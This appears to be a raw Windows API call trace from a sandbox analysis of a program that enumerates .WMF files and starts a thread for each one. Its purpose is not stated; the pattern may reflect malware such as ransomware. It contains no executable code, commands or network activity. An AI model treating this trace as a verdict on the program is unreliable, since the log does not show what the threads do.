	[0239.978] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1
	[0239.983] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b44
	[0239.986] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.986] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1
	[0239.986] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b48
	[0239.989] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.990] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1
	[0239.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4c
	[0239.992] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.993] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1
	[0239.993] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b50
	[0239.995] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.996] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1
	[0239.996] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b54
	[0239.998] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.999] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1
	[0239.999] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b5c
	[0240.096] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.097] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1
	[0240.097] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b58
	[0240.099] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.099] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1
	[0240.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b64
	[0240.101] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.102] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1
	[0240.102] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b68
	[0240.104] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.105] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1
	[0240.105] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b6c
	[0240.106] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.107] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1
	[0240.107] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b70
	[0240.109] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.110] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1
	[0240.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b74
	[0240.112] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.113] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1
	[0240.113] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b78
	[0240.115] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.115] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1
	[0240.115] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b7c
	[0240.118] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.118] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1
	[0240.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b80
	[0240.120] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.121] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1
	[0240.121] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b84
	[0240.123] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.123] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1
	[0240.123] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b88
	[0240.125] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.126] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1
	[0240.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8c
	[0240.190] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.191] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1
	[0240.192] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b90
	[0240.193] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.194] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1
	[0240.194] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b94
	[0240.197] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.197] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1
	[0240.197] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b98
	[0240.200] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.200] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1
	[0240.200] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b9c
	[0240.203] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.203] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1
	[0240.203] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba0
	[0240.206] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.207] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1
	[0240.207] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba4
	[0240.209] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.210] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1
	[0240.210] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ba8
	[0240.212] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.212] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1
	[0240.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bac
	[0240.214] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.215] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1
	[0240.215] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bb0
	[0240.217] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
